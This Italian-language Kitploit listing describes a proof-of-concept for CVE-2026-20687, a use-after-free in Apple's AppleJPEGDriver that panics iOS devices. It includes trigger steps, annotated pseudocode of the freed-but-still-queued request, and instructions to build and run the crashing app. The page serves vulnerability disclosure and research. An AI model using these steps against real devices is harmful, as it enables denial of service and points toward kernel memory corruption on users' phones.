Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-20687-AppleJPEGDriver-UAF — CVE-2026-20687: AppleJPEGDriver startDecoder Timeout UAF — vulnerabilità del kernel iOS/macOS che porta a un panic differito (A19 Pro, iOS 26.3 RC) | Kitploit
Strumenti/GitHubGitHub/0xjohnnydev/cve-2026-20687-applejpegdriver-uaf
Sicurezza iOSAnalisi delle VulnerabilitàExploitSicurezza MobileBinary Exploitation
GitHub0xjohnnydev/cve-2026-20687-applejpegdriver-uaf

CVE-2026-20687-AppleJPEGDriver-UAF

CVE-2026-20687: AppleJPEGDriver startDecoder Timeout UAF — vulnerabilità del kernel iOS/macOS che porta a un panic differito (A19 Pro, iOS 26.3 RC)

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Vedi Repository
Sito web
288382 mesi faRevisionato da Kitploit
Condividi

CVE-2026-20687: UAF da timeout in startDecoder() di AppleJPEGDriver (panic differito)

CVE-2026-20687 | Autore: Johnny Franks (@0xjohnny)

Componente: Kernel

Impatto: Un'app potrebbe causare una terminazione imprevista del sistema o scrivere nella memoria del kernel

Descrizione: Un problema di use after free è stato risolto con una migliore gestione della memoria.

— Apple Security Content, iOS 26.4 e iPadOS 26.4

Questo causerà un kernel panic sul tuo dispositivo. Salva il tuo lavoro.

Testato su iOS 26.3 (23D125) su iPhone18,2 (iPhone 17 Pro Max, A19 Pro).

Trigger

Trigger diretto:

  1. Esegui il PoC e tocca Panic (predispone il driver / accoda lavoro asincrono).
  2. Poi apri Camera (questo causa in modo affidabile un decode JPEG sincrono + timeout sulla build interessata).
  3. Il percorso di timeout libera una richiesta ma lascia il suo puntatore al nodo di coda incorporato nel vettore per-codec.
  4. Una successiva scansione della coda dereferenzia il nodo obsoleto e il kernel va in panic (fault di controllo tag MTE).
// PoC: predispone il driver; il panic è solitamente differito fino all'apertura di Camera.
IOServiceOpen("AppleJPEGDriver");
for (int i = 0; i < N; i++) {
  startDecoder_async();                   // queue_io_gated(): vector.push(req + 0x78)
}
IOServiceClose(conn);

// Successivamente, l'apertura di Camera attiva:
startDecoder_sync();
  queue_io_gated(): vector.push(req + 0x78);
  wait(10s) -> TIMEOUT;
  pool_free(req);                         // BUG: NON rimuove dalla coda (req + 0x78)

// Ancora più tardi (finish_io_gated):
fullSpeedRequestExist():
  node_ptr = vector[i];                   // obsoleto: node_ptr == (req liberata + 0x78)
  req2 = *(node_ptr + 0x8);              // lettura UAF di req+0x80 -> fault tag MTE -> panic

Compilazione ed esecuzione

  1. Apri ios-app/Test.xcodeproj in Xcode
  2. Seleziona il tuo dispositivo iOS (il simulatore non è utile)
  3. Compila ed esegui
  4. Tocca il pulsante Panic
  5. Apri l'app Camera per attivare il panic differito
Scarica lo strumento